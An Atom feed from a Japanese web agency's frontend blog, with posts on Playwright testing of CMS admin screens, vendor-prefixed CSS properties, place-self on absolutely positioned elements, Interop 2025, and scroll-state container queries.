<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>ミツエーリンクス フロントエンドBlog</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/" />
    <link rel="self" type="application/atom+xml" href="https://www.mitsue.co.jp/knowledge/blog/frontend/atom.xml" />
    <id>tag:www.mitsue.co.jp,2014-11-19:/knowledge/blog/frontend/9</id>
    <updated>2025-07-04T12:36:21+09:00</updated>
    
    <generator uri="http://www.sixapart.com/movabletype/">Movable Type</generator>

<entry>
    <title>フロントエンドBlog終了のお知らせ</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202507/04_1236.html" />
    <id>tag:www.mitsue.co.jp,2025:/knowledge/blog/frontend//9.2636</id>

    <published>2025-07-04T12:36:46+09:00</published>
    <updated>2025-07-04T12:36:21+09:00</updated>

    <summary>いつもフロントエンドBlogをご覧いただき、ありがとうございます！ このたび、本...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>いつもフロントエンドBlogをご覧いただき、ありがとうございます！</p>

<p>このたび、本Blogでの更新は一区切りとし、今後のフロントエンドを含む技術情報の発信は新たに立ち上げた「<a href="/knowledge/blog/x-tech/">X-tech Blog</a>」に集約していくこととなりました。X-tech Blogでは、フロントエンドの話題はもちろん、バックエンドやCMS、AIなど、技術領域の垣根を越えた視点から情報を発信していく予定です。詳細は、藤田が執筆した「<a href="/knowledge/blog/x-tech/202507/04_1009.html">X-tech Blog、始動</a>」をご覧ください。</p>

<p>これまでフロントエンドBlogをお読みいただいた皆さま、本当にありがとうございました。今後はぜひ「X-tech Blog」にもご注目いただけますと幸いです！</p>
]]>
        
    </content>
</entry>

<entry>
    <title>PlaywrightでCMS管理画面を検証する</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202505/15_0922.html" />
    <id>tag:www.mitsue.co.jp,2025:/knowledge/blog/frontend//9.2594</id>

    <published>2025-05-15T09:22:04+09:00</published>
    <updated>2025-05-15T09:23:12+09:00</updated>

    <summary>私が携わっている案件の中には、CMS管理画面の検証作業を部分的に自動化しているも...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>私が携わっている案件の中には、CMS管理画面の検証作業を部分的に自動化しているものがあります。具体的には、記事の作成や公開が正しく行えるかどうかといった検証を、Playwrightを用いて自動化しています。</p>

<p>この記事では、自動化を取り入れた背景およびフロントエンドに関係するTipsを紹介します。</p>
]]>
        <![CDATA[<h2>検証自動化の背景</h2>

<p>CMS管理画面の検証に自動化を取り入れたのは、自動化に向いていると考えたためです。具体的には、次のような特徴があると感じたためでした。</p>

<ul>
<li>検証すべき操作の種類は多くない</li>
<li>コンテンツや編集者の種類によって検証パターンが増える</li>
</ul>

<p>CMS管理画面にはログイン、記事の作成・編集、画像などのアップロード、プレビュー、承認（ある場合）、公開、取り下げといった典型的な操作があり、それ以外の操作はほとんど存在しません。</p>

<p>他方、同じ操作であっても、コンテンツや編集者の違いによって検証パターンが増えることはよくあります。お知らせページと製品・サービス詳細ページでは、掲載すべき情報（管理画面の入力項目）が異なることもありますし、広報担当と事業担当では、利用できる機能が異なることもあります。</p>

<p>結果として、同じような操作を異なる設定で何度も検証することが多くあります。一度だけ検証するのであれば手作業でよいのですが、実際には運用中に何度も検証が発生します。CMSの目的上、広報担当がページを編集できていれば、事業担当はページを編集できなくなってもよいといったことは受け入れられないため、検証範囲をむやみに狭めることも難しいと考えています。</p>

<p>このような繰り返しの多い検証は自動化に向いており、実際に一部の案件において自動化を進めています。自動化には一定のコストがかかりますが、検証頻度（≒改修頻度）によっては手作業を繰り返すよりもトータルでのコストを抑えられます。</p>

<h2>自動化のTips</h2>

<p>CMS管理画面の検証は基本的に次の流れで行っています。</p>

<ol start='1'>
<li>リンクやボタンなどをクリックして操作を行う画面・状態まで遷移</li>
<li>テキスト入力欄やメニューを操作して検証用データを入力</li>
<li>表示された結果が期待した内容と一致するかを確認</li>
</ol>

<p>これらの操作を<a href="https://playwright.dev/python/">PlaywrightのPython版（同期API）</a>で自動化しています。</p>

<p>自動化を進めていくなかでは入力で問題が起きることは多くなく、</p>

<ul>
<li>ボタンやリンクなどをクリック後、結果が表示される前に検証しようとして失敗する</li>
<li>ボタンやリンクなどが検証可能な状態になる前にクリックして検証に失敗する</li>
</ul>

<p>問題が起きました。この記事の残りでは、これらの問題への対応Tipsを紹介します。</p>

<h3>要素が表示されるまで待機</h3>

<p>結果が表示される前に検証しようとして失敗する問題への対応は、基本的に結果が表示されるまで待機することです。</p>

<p>Playwrightでは、多くの処理で対象の要素が表示されるまで自動的に待機する機能（<a href="https://playwright.dev/python/docs/actionability">Auto-waiting</a>）がありますが、手動での待機が必要になるケースもあります。</p>

<p>ある要素が表示されるまで待機するには<code>wait_for()</code>や<code>to_be_visible</code>アサーションなどが利用できます。</p>

<pre class="hljs-pre"><code>button = page.get_by_role("button", name="ボタン", exact=True)
result = page.get_by_role("group", name="結果", exact=True)
# ボタンをクリック
button.click()
# resultが表示されるまで待機
result.wait_for()
# 検証処理</code></pre>

<h3>要素が削除されるまで待機</h3>

<p>Playwrightは要素が表示されるまでは自動待機しますが、非表示や削除の待機は手動で指定します。</p>

<p>ある要素がDOMツリーから削除されるまで待機するには<code>wait_for()</code>に<code>detached</code>を指定したり、<code>not_to_be_attached</code>アサーションを用いたりできます。</p>

<pre class="hljs-pre"><code>button = page.get_by_role("button", name="ボタン", exact=True)
# ボタンをクリック
button.click()
# ボタンがDOMツリーから削除されるまで待機
button.wait_for(state="detached")
# 検証処理</code></pre>

<p>ボタンを押下すると処理が行われ、処理が完了するとボタンが削除されるような機能の検証で利用できます。</p>

<h3>属性が変わるまで待機</h3>

<p>ボタンをクリックすると通常は確認なしに処理が実行されるものの、特定のJavaScriptが実行されると確認ダイアログを表示する機能の検証は次のように行いました。</p>

<ol start='1'>
<li>対象のJavaScriptを調整し、ダイアログを表示する場合はボタンにaria-haspopup属性を指定</li>
<li>Playwrightではaria-haspopup属性の指定を待ってから検証</li>
</ol>

<p>ある要素の属性が特定の値に変わるまで待機するには<code>to_have_attribute</code>アサーションが利用できます。</p>

<pre class="hljs-pre"><code>button = page.get_by_role("button", name="ボタン", exact=True)
# ボタンをクリック
button.click()
# ボタンのaria-haspopup属性がdialogになるまで待機
expect(button).to_have_attribute("aria-haspopup", "dialog")
# 検証処理</code></pre>

<p>他にも、ビジー状態をaria-busy属性で判断できる場合は、Playwrightでaria-busy属性の変更を待機することもできるでしょう。</p>

<pre class="hljs-pre"><code>button = page.get_by_role("button", name="ボタン", exact=True)
# ボタンをクリック
button.click()
# ボタンのaria-busy属性がfalseになるまで待機
expect(button).to_have_attribute("aria-busy", "false")
# 検証処理</code></pre>

<h3>読み込み中を表す文言が消えるまで待機</h3>

<p>ボタンを押すとデータの読み込みが始まり、複数あるデータ表示領域に「Processing...」という文言が表示され、読み込みが完了すると本来のデータが表示される機能の検証では、文言が表示されなくなるまで待機する処理を入れました。これは<code>not_to_contain_text</code>アサーションを利用しています。</p>

<pre class="hljs-pre"><code>button = page.get_by_role("button", name="ボタン", exact=True)
result = page.get_by_role("group", name="結果", exact=True)
# ボタンをクリック
button.click()
# 結果に「Processing...」が含まれなくなるまで待機
expect(result).not_to_contain_text("Processing...")
# 検証処理</code></pre>

<p>この方法は、文言が「Processing...」から「読み込み中...」などに変わると待機に失敗するため、実際には「Processing...」が表示されることも待機しています。</p>

<pre class="hljs-pre"><code>button = page.get_by_role("button", name="ボタン", exact=True)
result = page.get_by_role("group", name="結果", exact=True)
# ボタンをクリック
button.click()
# 結果に「Processing...」が含まれるまで待機
expect(result).to_contain_text("Processing...")
# 結果に「Processing...」が含まれなくなるまで待機
expect(result).not_to_contain_text("Processing...")
# 検証処理</code></pre>

<h2>まとめ</h2>

<p>CMS管理画面の検証は、繰り返しが多く自動化に向いていると考えており、一部の案件では実際に自動化を取り入れています。</p>

<p>また、自動化するなかで生じた問題の多くは、フロントエンドの知識で解決できました。</p>

<p>この記事が検証自動化の参考になれば幸いです。</p>
]]>
    </content>
</entry>

<entry>
    <title>ベンダープレフィックスが必要なCSS プロパティ 2025</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202504/03_1550.html" />
    <id>tag:www.mitsue.co.jp,2025:/knowledge/blog/frontend//9.2567</id>

    <published>2025-04-03T15:50:23+09:00</published>
    <updated>2025-04-03T15:50:54+09:00</updated>

    <summary>Webプラットフォームの相互運用性が向上し、ベンダープレフィックスを必要とするC...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>Webプラットフォームの相互運用性が向上し、ベンダープレフィックスを必要とするCSSプロパティが少なくなりつつあります。</p>

<p>しかし、すべてのCSSプロパティでプレフィックスが不要とまでには至っておらず、<a href="https://github.com/web-platform-tests/interop/blob/main/2025/README.md#text-decoration">Interop 2025でもプレフィックスが必要なCSSプロパティとして<code>text-decoration</code>が挙げられていました</a>。</p>

<p>そこで、2025年時点でプレフィックスが必要なCSSプロパティには何があるのか、いくつか挙げてみたいと思います。</p>
]]>
        <![CDATA[<script src="https://cdn.jsdelivr.net/npm/baseline-status@1.0.4/baseline-status.min.js" type="module"></script>

<h2>ベンダープレフィックスの種類</h2>

<p>まず、その前にベンダープレフィックスの種類を確認しておきたいと思います。 <br />
ベンダープレフィックスには、次のようなものがあります。</p>

<p><code>-webkit-</code>: Chrome、Safari、新しいバージョンのOpera、iOS用のFirefoxやChromeを含むほぼすべてのiOSブラウザ、任意のWebKitまたはChromiumベースのブラウザ <br />
<code>-moz-</code>: Firefox</p>

<p>2025年の主要ブラウザの最新バージョンであれば<code>-webkit-</code>、<code>-moz-</code>の2つで足りますが、古いバージョンのブラウザもサポートの対象とする場合は、次のものも必要になります。</p>

<p><code>-o-</code>: 古いバージョンのOpera <br />
<code>-ms-</code>: Chromiumより前のMicrosoft Edge</p>

<p>CSSは、後から書いたプロパティで値が上書きされていくので、対応しているブラウザが多いプレフィックスから<code>-webkit-</code>、次に<code>-moz-</code>、そして最後にプレフィックスなしのプロパティという順番で書いていきます。</p>

<p>プレフィックスと対応するブラウザの組み合わせがわかったところで、次からはどのプロパティにどのプレフィックスが必要なのかを見ていきます。</p>

<h2>text-decoration</h2>

<h3>概要</h3>

<p><code>text-decoration</code>は、テキスト上の装飾的な線の外観を設定するCSSプロパティです。 <br />
<code>text-decoration-line</code> <code>text-decoration-color</code> <code>text-decoration-style</code>およびさらに新しい <code>text-decoration-thickness</code> プロパティをまとめて指定できるショートハンドプロパティです。</p>

<h3>必要なプレフィックス</h3>

<p>Safariでは、この中の<code>text-decoration-color</code>と<code>text-decoration-style</code>をサポートするためにベンダープレフィックスをつけて<code>-webkit-text-decoration</code>とする必要があります。</p>

<h3>注意点</h3>

<p>Blog作成時点では、Safariで<code>text-decoration-thickness</code>が実装されていません。 <br />
そのため、Safariでは<code>-webkit-</code>のプレフィックスをつけても線のサイズを変更することはできません。</p>

<h3>実装例</h3>

<pre class="hljs-pre"><code class="css">.text-decoration_example {
    -webkit-text-decoration: underline red wavy;
    text-decoration: underline red wavy;
}</code></pre>

<p><baseline-status featureId="text-decoration"></baseline-status></p>

<h2>line-clamp</h2>

<h3>概要</h3>

<p><code>line-clamp</code>は、ブロックのコンテンツを指定した行数に制限するCSSプロパティです。</p>

<h3>必要なプレフィックス</h3>

<p>Chrome、Edge、Firefoxではベンダープレフィックスをつけて<code>-webkit-line-clamp</code>とする必要があります。</p>

<h3>注意点</h3>

<p>Chrome、Edge、Firefoxで<code>line-clamp</code>を機能させるには、次の2つのプロパティも合わせて設定する必要があります。</p>

<ul>
<li><code>display: -webkit-box</code>もしくは<code>display: -webkit-inline-box</code></li>
<li><code>-webkit-box-orient: vertical</code></li>
</ul>

<p>省略記号の後のテキストを非表示にする場合は、<code>over-flow: hidden</code>も設定します。</p>

<h3>実装例</h3>

<pre class="hljs-pre"><code class="css">.line-clamp_example {
    display: -webkit-box;
    -webkit-box-orient: vertical;
    -webkit-line-clamp: 3;
    line-clamp: 3;
    over-flow: hidden;
}</code></pre>

<p><baseline-status featureId="line-clamp"></baseline-status></p>

<h2>box-decoration-break</h2>

<h3>概要</h3>

<p><code>box-decoration-break</code>は、要素の断片が複数の行や段落になる場合に描画する方法を指定するCSSプロパティです。</p>

<p><code>box-decoration-break</code>は、次のプロパティの外観に影響を与えます。</p>

<ul>
<li><a href="https://developer.mozilla.org/ja/docs/Web/CSS/background"><code>background</code></a></li>
<li><a href="https://developer.mozilla.org/ja/docs/Web/CSS/border"><code>border</code></a></li>
<li><a href="https://developer.mozilla.org/ja/docs/Web/CSS/border-image"><code>border-image</code></a></li>
<li><a href="https://developer.mozilla.org/ja/docs/Web/CSS/box-shadow"><code>box-shadow</code></a></li>
<li><a href="https://developer.mozilla.org/ja/docs/Web/CSS/clip-path"><code>clip-path</code></a></li>
<li><a href="https://developer.mozilla.org/ja/docs/Web/CSS/margin"><code>margin</code></a></li>
<li><a href="https://developer.mozilla.org/ja/docs/Web/CSS/padding"><code>padding</code></a></li>
</ul>

<h3>必要なプレフィックス</h3>

<p>Safariでは、ベンダープレフィックスをつけて<code>-webkit-box-decoration-break</code>とする必要があります。</p>

<h3>注意点</h3>

<p>Safariでは、インライン要素でのみ機能します。</p>

<h3>実装例</h3>

<pre class="hljs-pre"><code class="css">.box-decoration-break_example {
    -webkit-box-decoration-break: slice;
    box-decoration-break: slice;
}</code></pre>

<p><baseline-status featureId="box-decoration-break"></baseline-status></p>

<h3>まとめ</h3>

<p>近年の主要ブラウザベンダーの実装速度には目を見張るものがあり、ベンダープレフィックスが必要なプロパティは残りわずかとなっています。
Interop 2025の取り組みで<code>text-decoration</code>が選ばれたことで、他のプレフィックスが必要なプロパティも注目されることを期待しています。</p>
]]>
    </content>
</entry>

<entry>
    <title>絶対配置された要素のplace-self、align-self、justify-self</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202503/19_1003.html" />
    <id>tag:www.mitsue.co.jp,2025:/knowledge/blog/frontend//9.2538</id>

    <published>2025-03-19T10:03:22+09:00</published>
    <updated>2025-03-19T10:05:26+09:00</updated>

    <summary>2025年1月のWebプラットフォームについてはテックラジオでも取り上げましたが...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>2025年1月のWebプラットフォームについては<a href="/knowledge/tech_radio/202502/07_1705.html">テックラジオ</a>でも取り上げましたが、本Blogでは新たに追加された機能の中から、<code>position: absolute</code>を適用した要素に対して<code>place-self</code>、<code>align-self</code>、<code>justify-self</code>プロパティが使用可能になったことについてご紹介します。</p>

<p><code>place-self</code>、<code>align-self</code>、<code>justify-self</code> プロパティ自体は今までも使えましたが、新しく追加された機能は「<code>position: absolute</code>で絶対配置した要素に対して使えるようになった」というものです。</p>

<p>しかし、この発表を見た時の個人的な感想は「今までの位置指定の方法で対応できるのでは...？」でした。</p>

<p>そこで、今までの方法と比較して、絶対配置された要素に対し<code>place-self</code>などで位置指定する方法の何がいいのか？を考えてみました。</p>
]]>
        <![CDATA[<script async src="https://public.codepenassets.com/embed/index.js"></script>

<h2>今までのposition: absoluteを使った方法</h2>

<p>まず、今までの指定方法での例をあげます。 <br />
ここでは使う機会も多い中央配置が分かりやすいので、例として取り上げます。</p>

<p>※ <code>html</code>は全て同じです。</p>

<h3>margin: autoとinset: 0を使う</h3>

<p><code>margin: auto</code>と<code>inset: 0</code>を使う場合の欠点は、縦横を指定しないと<code>inset: 0</code>によって子要素が配置される空間が親要素いっぱいに広がってしまうため、幅と高さの指定が必要なことでした。</p>

<pre class="hljs-pre"><code class="css">.child {
  position: absolute;
  margin: auto;
  inset: 0;
  width: fit-content;
  height: fit-content;
}</code></pre>

<p class="codepen" data-height="300" data-default-tab="css,result" data-slug-hash="XJWRyrG" data-pen-title="margin: autoとinset: 0を使う |  place-self" data-user="mitsue-links">
  <span>See the Pen <a href="https://codepen.io/mitsue-links/pen/XJWRyrG">
  margin: autoとinset: 0を使う |  place-self</a> by ミツエーリンクス (<a href="https://codepen.io/mitsue-links">@mitsue-links</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>

<h3>位置指定とtransformを使う</h3>

<p>位置指定とtransformを使う方法では、幅と高さの指定は要りませんが「上と左からの位置を指定して、子要素の縦と横の半分をマイナスして位置をずらす」という少しまわりくどい指定方法でした。</p>

<pre class="hljs-pre"><code class="css">.child {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}</code></pre>

<p class="codepen" data-height="300" data-default-tab="css,result" data-slug-hash="mydmQPR" data-pen-title="位置指定とtransformを使う | place-self" data-user="mitsue-links">
  <span>See the Pen <a href="https://codepen.io/mitsue-links/pen/mydmQPR">
  位置指定とtransformを使う | place-self</a> by ミツエーリンクス (<a href="https://codepen.io/mitsue-links">@mitsue-links</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>

<h3>番外編 display: gridを使った場合</h3>

<p><code>position: absolute</code>は使っていないのですが、最近は中央寄せで一般的なのはdisplay: gridを使った方法かと思います。子要素が1つの場合、この方法が最も簡単です。</p>

<p>しかし、この場合ですと、兄弟要素があった場合に影響がでてしまうため「子要素が1つの場合」に使い方が限定されます。  </p>

<pre class="hljs-pre"><code class="css">.parent {
  display: grid;
  place-items: center;
}</code></pre>

<p class="codepen" data-height="300" data-default-tab="css,result" data-slug-hash="MYWEPgY" data-pen-title="display:gridを使った中央寄せ | place-self" data-user="mitsue-links">
  <span>See the Pen <a href="https://codepen.io/mitsue-links/pen/MYWEPgY">
  display:gridを使った中央寄せ | place-self</a> by ミツエーリンクス (<a href="https://codepen.io/mitsue-links">@mitsue-links</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>

<h2>place-selfを使った中央寄せ</h2>

<p><code>place-self</code>を使った中央寄せは、</p>

<ul>
<li>幅と高さの指定</li>
<li><code>transform</code>を使った位置調整</li>
</ul>

<p>の2つが要らないためコードがシンプルで、直感的に配置できます。</p>

<p>他にも<code>align-self</code>で縦の、<code>justify-self</code>で横の位置調整だけを行うことも可能ですし、中央寄せ以外の位置調整も可能です。</p>

<pre class="hljs-pre"><code class="css">.child {
  position: absolute;
  inset: 0;
  place-self: center;/* place-self: end center;などで中央寄せ以外も可能 */
}</code></pre>

<p class="codepen" data-height="300" data-default-tab="css,result" data-slug-hash="ogNWQLb" data-pen-title="place-selfを使った中央寄せ | place-self" data-user="mitsue-links">
  <span>See the Pen <a href="https://codepen.io/mitsue-links/pen/ogNWQLb">
  place-selfを使った中央寄せ | place-self</a> by ミツエーリンクス (<a href="https://codepen.io/mitsue-links">@mitsue-links</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>

<p><code>inset: 0</code>が必要な理由は、「子要素が配置される空間の範囲を親要素いっぱいに広げるため」です。
詳しくは<a href="https://www.w3.org/TR/css-position-3/#abspos-insets">3.5. Absolute (and Fixed) Positioning | CSS Positioned Layout Module Level 3</a>を参照ください。</p>

<h2>まとめ</h2>

<p>まだSafariでは非対応<sup>※</sup>のこの機能ですが、コード量が少なくて済む、コードが直感的という理由から全てのモダンブラウザで対応した後はこちらの方法に変更していきたいと考えています。</p>

<p>以上、1月のウェブプラットフォームで追加された「絶対位置の要素のCSS配置プロパティ」についてのフロントエンドBlogでした。</p>

<p>※<code>place-self</code>、<code>align-self</code>、<code>justify-self</code>自体はSafariでも使えますが、絶対配置した要素に使うことについては2025年3月18日時点では非対応です。</p>

<h2>参考ページ</h2>

<ul>
<li><a href="https://web.dev/blog/web-platform-01-2025?hl=ja">1月のウェブプラットフォームの新機能 | Blog | web.dev</a></li>
<li><a href="https://developer.mozilla.org/ja/docs/Web/CSS/place-self">place-self - CSS: カスケーディングスタイルシート | MDN</a></li>
<li><a href="https://www.w3.org/TR/css-align-3/#self-alignment">6. Self-Alignment: Aligning the Box Within Its Parent | CSS Box Alignment Module Level 3</a></li>
<li><a href="https://www.w3.org/TR/css-position-3/#abspos-insets">3.5. Absolute (and Fixed) Positioning | CSS Positioned Layout Module Level 3</a></li>
</ul>
]]>
    </content>
</entry>

<entry>
    <title>Interop 2025がスタート</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202502/17_0829.html" />
    <id>tag:www.mitsue.co.jp,2025:/knowledge/blog/frontend//9.2532</id>

    <published>2025-02-17T08:29:18+09:00</published>
    <updated>2025-02-17T13:51:09+09:00</updated>

    <summary>Interop 2025の取り組みがスタートした旨を知らせる記事が、参加組織それ...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<p>Interop 2025の取り組みがスタートした旨を知らせる記事が、参加組織それぞれから一斉に公開されました。</p>

<ul>
<li><a href="https://webkit.org/blog/16458/announcing-interop-2025/">Announcing Interop 2025 | WebKit</a></li>
<li><a href="https://www.bocoup.com/blog/interop-2025">Interop 2025 Launch - Bocoup</a></li>
<li><a href="https://web.dev/blog/interop-2025">Interop 2025: another year of web platform improvements | Blog | web.dev</a></li>
<li><a href="https://www.igalia.com/2025/02/13/Interop-2025.html">Interop 2025 | Igalia</a></li>
<li><a href="https://blogs.windows.com/msedgedev/2025/02/13/microsoft-edge-and-interop-2025/">Microsoft Edge and Interop 2025 - Microsoft Edge Blog</a></li>
<li><a href="https://hacks.mozilla.org/2025/02/interop-2025/">Launching Interop 2025 - Mozilla Hacks - the Web developer blog</a></li>
</ul>
]]>
        <![CDATA[<p>2025年の重点分野とその進捗状況は<a href="https://wpt.fyi/interop-2025">Interop 2025 Dashboard</a>で確認ができます。</p>

<p>Interop 2024より引き継がれる重点分野には、以下の2つがあります。</p>

<ul>
<li><a href="https://wpt.fyi/results/css?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;aligned=&amp;view=interop&amp;q=label%3Ainterop-2021-flexbox+or+label%3Ainterop-2023-flexbox+or+label%3Ainterop-2021-grid+or+label%3Ainterop-2023-grid+or+label%3Ainterop-2022-subgrid&amp;label=master&amp;label=experimental">Layout</a></li>
<li><a href="https://wpt.fyi/results/?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;aligned=&amp;view=interop&amp;q=label%3Ainterop-2023-events&amp;label=master&amp;label=experimental">Pointer and Mouse events</a></li>
</ul>

<p>そして、Interop 2025より新たに追加された重点分野は、全部で19あります。</p>

<ul>
<li><a href="https://wpt.fyi/results/css/css-anchor-position?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-anchor-positioning&amp;label=master&amp;label=experimental">Anchor positioning</a></li>
<li><a href="https://wpt.fyi/results/css/filter-effects?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-backdrop-filter&amp;label=master&amp;label=experimental">backdrop-filter</a></li>
<li><a href="https://wpt.fyi/results/?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-core-web-vitals&amp;label=master&amp;label=experimental">Core Web Vitals</a></li>
<li><a href="https://wpt.fyi/results/html?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-details&amp;label=master&amp;label=experimental">&lt;details&gt; element</a></li>
<li><a href="https://wpt.fyi/results/html/semantics/scripting-1/the-script-element?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-modules&amp;label=master&amp;label=experimental">Modules</a></li>
<li><a href="https://wpt.fyi/results/navigation-api?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-navigation&amp;label=master&amp;label=experimental">Navigation API</a></li>
<li><a href="https://wpt.fyi/results/dom?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-remove-mutation-events&amp;label=master&amp;label=experimental">Remove mutation events</a></li>
<li><a href="https://wpt.fyi/results/css/css-cascade?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-scope&amp;label=master&amp;label=experimental">@scope</a></li>
<li><a href="https://wpt.fyi/results/dom/events/scrolling?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-scrollend&amp;label=master&amp;label=experimental">scrollend event</a></li>
<li><a href="https://wpt.fyi/results/storage-access-api?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-storageaccess&amp;label=master&amp;label=experimental">Storage Access API</a></li>
<li><a href="https://wpt.fyi/results/css/css-text-decor/parsing?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-textdecoration&amp;label=master&amp;label=experimental">text-decoration</a></li>
<li><a href="https://wpt.fyi/results/urlpattern?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-urlpattern&amp;label=master&amp;label=experimental">URLPattern</a></li>
<li><a href="https://wpt.fyi/results/css/css-view-transitions?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-view-transitions&amp;label=master&amp;label=experimental">View Transition</a></li>
<li><a href="https://wpt.fyi/results/wasm/jsapi?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-webassembly&amp;label=master&amp;label=experimental">WebAssembly</a></li>
<li><a href="https://wpt.fyi/results/?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-webcompat&amp;label=master&amp;label=experimental">Web Compat</a></li>
<li><a href="https://wpt.fyi/results/?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-webrtc&amp;label=master&amp;label=experimental">WebRTC</a></li>
<li><a href="https://wpt.fyi/results/css?product=chrome&amp;product=edge&amp;product=firefox&amp;product=safari&amp;view=interop&amp;q=label%3Ainterop-2025-writingmodes&amp;label=master&amp;label=experimental">Writing modes</a></li>
</ul>

<p>重点分野に加え、調査領域が5つあります。
調査領域は重点分野に含めるには情報やテストが十分でないが、相互運用性の向上が必要な分野です。</p>

<ul>
<li><a href="https://wpt.fyi/interop-2025#">Accessibility Testing</a></li>
<li><a href="https://wpt.fyi/interop-2025#">Gamimg</a></li>
<li><a href="https://wpt.fyi/interop-2025#">Mobile Testing</a></li>
<li><a href="https://wpt.fyi/interop-2025#">Privacy Testing</a></li>
<li><a href="https://github.com/web-platform-tests/interop/issues/860">WebVTT</a></li>
</ul>

<p>Interop 2024では最終的に全ブラウザのスコアが99ポイントになるという素晴らしい成果でした。
そして今年、重点分野に選ばれた機能も注目したいものばかりです。
1年間でどこまで相互運用性が向上するのか、期待したいですね！</p>
]]>
    </content>
</entry>

<entry>
    <title>スクロールの状態にマッチする3つ目のコンテナクエリー「Scroll State Container Queries」</title>
    <link rel="alternate" type="text/html" href="https://www.mitsue.co.jp/knowledge/blog/frontend/202412/20_1438.html" />
    <id>tag:www.mitsue.co.jp,2024:/knowledge/blog/frontend//9.2485</id>

    <published>2024-12-20T14:38:00+09:00</published>
    <updated>2025-03-04T09:29:31+09:00</updated>

    <summary> コンテナクエリーにはコンテナ要素のサイズに応じてスタイルを変更するサイズクエリ...</summary>
    
    
    <content type="html" xml:lang="ja" xml:base="https://www.mitsue.co.jp/knowledge/blog/frontend/">
        <![CDATA[<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>

<p>コンテナクエリーにはコンテナ要素のサイズに応じてスタイルを変更するサイズクエリーと、コンテナ要素のスタイルに応じてスタイルを変更するスタイルクエリーの2種類があります。実はもう1つ「<a href="https://drafts.csswg.org/css-conditional-5/#scroll-state-container">Scroll State Container Queries</a>」が追加されようとしています。</p>

<p>※ 現在はまだEditor's Draftの段階で正式な仕様ではなく、この記事で書く内容は変更される可能性がありますのでご注意ください。</p>
]]>
        <![CDATA[<p>Scroll State Container Queriesはコンテナ要素のスクロールに基づくさまざまな状態にマッチするコンテナクエリーです。（以降はスクロールクエリーと書きます）</p>

<p>スクロールクエリーでは以下の3種類の状態にマッチします。</p>

<ul>
<li><code>stuck</code></li>
<li><code>snapped</code></li>
<li><code>scrollable</code></li>
</ul>

<p>Google ChromeのDevRelとして活動されている<a href="https://nerdy.dev/">Adam Argyle</a>氏がCodePenでデモを公開されていたので、そちらも掲載しつつ1つずつ簡単に説明します。スクロールクエリーはGoogle Chromeのデベロッパー向けビルドである<a href="https://www.google.com/intl/ja/chrome/canary/">Chrome Canary</a>で実装されていますので、気になる方はChrome Canaryをインストールして試してみてください。</p>

<h2>stuck</h2>

<p>stuckは、position: stickyを指定したコンテナ要素が、指定した方向に吸着している状態にマッチします。</p>

<pre class="hljs-pre"><code class="css">@container scroll-state(stuck: top) {
  /* コンテナが上部に吸着している状態のスタイル */
}</code></pre>

<p><code>sticky</code>な要素が吸着しているかどうかによってスタイルを変えるには、<a href="https://developer.mozilla.org/ja/docs/Web/API/Intersection_Observer_API">Intersection Observer</a>などを使ってJavaScriptでクラスの付け替えをする必要がありましたが、スクロールクエリーが実装されればCSSだけで実現できるようになります。</p>

